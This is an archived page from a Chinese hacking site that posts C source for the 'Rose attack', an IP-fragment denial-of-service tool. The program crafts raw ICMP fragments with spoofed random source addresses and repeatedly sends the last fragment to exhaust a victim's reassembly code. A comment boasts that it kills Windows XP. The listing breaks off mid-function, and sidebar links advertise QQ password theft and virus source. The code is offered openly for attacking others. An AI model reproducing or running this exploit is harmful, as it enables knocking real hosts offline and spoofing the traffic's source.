ip碎片攻击源代码 [www_cnxhacker_com].htm
来自「一个由igmp攻击修改而来的icmp数据包攻击代码」· HTM 代码 · 共 582 行 · 第 1/3 页
HTM
582 行
width=200 border=0>
<TBODY>
<TR>
<TD height=8><IMG height=1
src="IP碎片攻击源代码 [WwW_CnXHacker_CoM].files/a.gif"></TD></TR>
<TR>
<TD class=en
style="FILTER: progid:DXImageTransform.Microsoft.Gradient(startColorStr='#A0B3C9', endColorStr='#637B90', gradientType='0')"
bgColor=#7894ae height=22>
<P align=center><FONT class=3D color=#ffffff><B>文章搜索 SEARCH
</B></FONT></P></TD></TR>
<TR>
<TD bgColor=#99b1ce height=1><IMG height=1
src="IP碎片攻击源代码 [WwW_CnXHacker_CoM].files/a.gif"></TD></TR>
<TR>
<TD align=left bgColor=#ffffff height=80>
<TABLE cellSpacing=0 cellPadding=0 width="98%" align=right
border=0><TBODY>
<TR>
<TD>
<SCRIPT
src="IP碎片攻击源代码 [WwW_CnXHacker_CoM].files/search_article.js"
type=text/javascript></SCRIPT>
</TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<TABLE style="BORDER-COLLAPSE: collapse" borderColor=#000000 cellPadding=2
width=200 border=0>
<TBODY>
<TR>
<TD height=8><IMG height=1
src="IP碎片攻击源代码 [WwW_CnXHacker_CoM].files/a.gif"></TD></TR>
<TR>
<TD class=en
style="FILTER: progid:DXImageTransform.Microsoft.Gradient(startColorStr='#A0B3C9', endColorStr='#637B90', gradientType='0')"
bgColor=#7894ae height=22>
<P align=center><FONT class=3D color=#ffffff><B>本类阅读排行
TOP10</B></FONT></P></TD></TR>
<TR>
<TD bgColor=#99b1ce height=1><IMG height=1
src="IP碎片攻击源代码 [WwW_CnXHacker_CoM].files/a.gif"></TD></TR>
<TR>
<TD align=middle bgColor=#ffffff height=180>
<TABLE cellSpacing=0 cellPadding=0 width="98%" align=right
border=0><TBODY>
<TR>
<TD>·<A
href="http://www.cnxhacker.com/article/show/1800.html">网页病毒源码解析</A><BR>·<A
href="http://www.cnxhacker.com/article/show/485.html">Windows黑客编程基础</A><BR>·<A
href="http://www.cnxhacker.com/article/show/1859.html">QQ盗号核心编程</A><BR>·<A
href="http://www.cnxhacker.com/article/show/549.html">一个Delphi完成的QQ病..</A><BR>·<A
href="http://www.cnxhacker.com/article/show/601.html">ASP验证码的程序及原理</A><BR>·<A
href="http://www.cnxhacker.com/article/show/577.html">Window按钮突破专家
汇..</A><BR>·<A
href="http://www.cnxhacker.com/article/show/325.html">Win2000/XP/200..</A><BR>·<A
href="http://www.cnxhacker.com/article/show/1584.html">关于代码加密解密保护</A><BR>·<A
href="http://www.cnxhacker.com/article/show/506.html">解密ASP源代码</A><BR>·<A
href="http://www.cnxhacker.com/article/show/191.html">高级扫描技术及原理介绍</A><BR></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<TABLE style="BORDER-COLLAPSE: collapse" borderColor=#000000 cellPadding=2
width=200 border=0>
<TBODY>
<TR>
<TD height=8><IMG height=1
src="IP碎片攻击源代码 [WwW_CnXHacker_CoM].files/a.gif"></TD></TR>
<TR>
<TD class=en
style="FILTER: progid:DXImageTransform.Microsoft.Gradient(startColorStr='#A0B3C9', endColorStr='#637B90', gradientType='0')"
bgColor=#7894ae height=22>
<P align=center><FONT class=3D color=#ffffff><B>广告 ADS
</B></FONT></P></TD></TR>
<TR>
<TD bgColor=#99b1ce height=1><IMG height=1
src="IP碎片攻击源代码 [WwW_CnXHacker_CoM].files/a.gif"></TD></TR>
<TR>
<TD vAlign=top align=left bgColor=#ffffff>
<TABLE cellSpacing=0 cellPadding=0 width="98%" align=right
border=0><TBODY>
<TR>
<TD>
<SCRIPT language=JavaScript
src="IP碎片攻击源代码 [WwW_CnXHacker_CoM].files/left.js"
type=text/JavaScript></SCRIPT>
</TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<TABLE style="BORDER-COLLAPSE: collapse" borderColor=#000000 cellPadding=2
width=200 border=0>
<TBODY>
<TR>
<TD height=8><IMG height=1
src="IP碎片攻击源代码 [WwW_CnXHacker_CoM].files/a.gif"></TD></TR>
<TR>
<TD class=en
style="FILTER: progid:DXImageTransform.Microsoft.Gradient(startColorStr='#A0B3C9', endColorStr='#637B90', gradientType='0')"
bgColor=#7894ae height=22>
<P align=center><FONT class=3D color=#ffffff><B>广告 ADS
</B></FONT></P></TD></TR>
<TR>
<TD bgColor=#99b1ce height=1><IMG height=1
src="IP碎片攻击源代码 [WwW_CnXHacker_CoM].files/a.gif"></TD></TR>
<TR>
<TD vAlign=top align=left bgColor=#ffffff>
<TABLE cellSpacing=0 cellPadding=0 width="98%" align=right
border=0><TBODY>
<TR>
<TD>
<SCRIPT language=JavaScript
src="IP碎片攻击源代码 [WwW_CnXHacker_CoM].files/left1.js"
type=text/JavaScript></SCRIPT>
</TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD vAlign=top bgColor=#808080 colSpan=2 height=5><IMG height=1
src="IP碎片攻击源代码 [WwW_CnXHacker_CoM].files/a.gif"></TD></TR>
<TR>
<TD
style="FILTER: progid:DXImageTransform.Microsoft.Gradient(startColorStr='#808080', endColorStr='#E4E4E4', gradientType='0')"
width=5 bgColor=#808080></TD>
<TD vAlign=top width=555>
<TABLE style="BORDER-COLLAPSE: collapse" height=160 cellSpacing=1
cellPadding=0 width=555 border=0>
<TBODY>
<TR>
<TD
style="FILTER: progid:DXImageTransform.Microsoft.Gradient(startColorStr='#99B1CE', endColorStr='#FFFFFF', gradientType='1')"
bgColor=#99b1ce height=20><IMG height=10
src="IP碎片攻击源代码 [WwW_CnXHacker_CoM].files/S_EDU.gif" width=10>
<B>IP碎片攻击源代码</B></TD></TR>
<TR>
<TD id=CnXHacker_INFO vAlign=top align=middle bgColor=#f3f3f3
height=260>
<TABLE style="TABLE-LAYOUT: fixed" cellSpacing=0 cellPadding=0
align=center border=0 95%?>
<TBODY>
<TR>
<TD>
<DIV align=center>作者:未知 来源:CnXHacker.Net 加入时间:2005-1-25
阅读次数:4522</DIV></TD></TR>
<TR>
<TD><BR>/***<BR>ROSE attack (variation 2) (chuck (at)
lemure.net)<BR><BR>Discovered by:<BR>gandalf (at)
digital.net<BR><BR>code modified from large IGMP attack
by:<BR>Kox by Coolio (coolio (at) k-r4d.com)<BR><BR>Sends out
small IP fragments totalling up to a large<BR>ICMP packet.
Then repeatedly sends last IP Fragment forcing<BR>reassembly
code to traverse to last IP fragment in order to<BR>do a
free() followed by a malloc(). Or so it
seems.<BR><BR>Reportedly works for TCP / UDP as well, since
this is<BR>a IP layer attack.<BR><BR><BR>***/<BR><BR>/* just a
thousand kills win XP */<BR><BR>#define NUM_PACKETS
100<BR><BR><BR>#include <stdio.h><BR>#include
<unistd.h><BR>#include <stdlib.h><BR>#include
<netdb.h><BR>#include <string.h><BR>#include
<errno.h><BR>#include <pwd.h><BR>#include
<time.h><BR>#include <sys/types.h><BR>#include
<sys/socket.h><BR>#include
<sys/utsname.h><BR>#include
<netinet/in.h><BR>#include
<netinet/ip.h><BR>#include
<netinet/ip_icmp.h><BR><BR>#include
<netinet/ip_icmp.h><BR><BR>void usage(char *arg)<BR>{
<BR>printf("Rose attack\n");<BR>printf("Usage: %s
<victim> [source]\n", arg);<BR>printf("If source not
specified, will send out from random
ip's\n");<BR>exit(1);<BR>}<BR><BR><BR>unsigned int
randip()<BR>{ <BR>struct hostent *he;<BR>struct sockaddr_in
sin;<BR>char *buf = (char *)calloc(1, sizeof(char) *
16);<BR><BR>sprintf(buf,
"%d.%d.%d.%d",<BR>(random()%191)+23,<BR>(random()%253)+1,<BR>(random()%253)+1,<BR>(random()%253)+1);
<BR><BR>return inet_addr(buf);<BR><BR>}<BR><BR>unsigned short
in_cksum(unsigned short *buh, int len)<BR>{ <BR>register long
sum = 0;<BR>unsigned short oddbyte;<BR>register unsigned short
answer;<BR><BR>while(len > 1) { <BR>sum += *buh++;<BR>len
-= 2;<BR>}<BR><BR>if(len == 1) { <BR>oddbyte =
0;<BR>*((unsigned char *)&oddbyte) = *(unsigned char
*)buh;<BR>sum += oddbyte;<BR>}<BR><BR>sum = (sum >> 16)
+ (sum & 0xFFFF);<BR>sum += (sum >> 16);<BR>answer =
~sum;<BR>return answer;<BR>}<BR><BR>int fire_away(struct
sockaddr_in *victim, unsigned long src)<BR>{ <BR>int SMALLICMP
= 1;<BR>unsigned char *pkt;<BR>struct iphdr *ip;<BR>struct
igmphdr *igmp;<BR>struct icmphdr *icmp_pkt;<BR>struct utsname
*un;<BR>struct passwd *p;<BR>int
idList[NUM_PACKETS];<BR>unsigned long j;<BR>int i, s;<BR>int
id = (random() % 40000) + 500;<BR>for
(i=0;i<NUM_PACKETS;i++)<BR>idList[i]=(random() % 40000) +
500;<BR><BR><BR>pkt = (unsigned char *)calloc(1, SMALLICMP
<BR>+ sizeof(struct iphdr) +<BR>sizeof(struct icmphdr));<BR>ip
= (struct iphdr *)pkt;<BR>icmp_pkt = (struct icmphdr *)(pkt +
sizeof(struct iphdr));<BR>ip->version = 4;<BR>ip->ihl =
(sizeof *ip) / 4;<BR>ip->ttl = 255;<BR>ip->tot_len =
htons(SMALLICMP);<BR>ip->protocol = 1;<BR>ip->id =
htons(id);<BR>ip->frag_off = htons(IP_MF);<BR>ip->saddr
= src;<BR>ip->daddr =
victim->sin_addr.s_addr;<BR>ip->check =
in_cksum((unsigned short *)ip, sizeof(struct
iphdr));<BR><BR><BR>icmp_pkt->type =
ICMP_ECHO;<BR>icmp_pkt->code = 0;<BR>icmp_pkt->checksum
= 1000;<BR>icmp_pkt->un.echo.id = random() %
255;<BR>icmp_pkt->un.echo.sequence = random() %
⌨️ 快捷键说明
复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?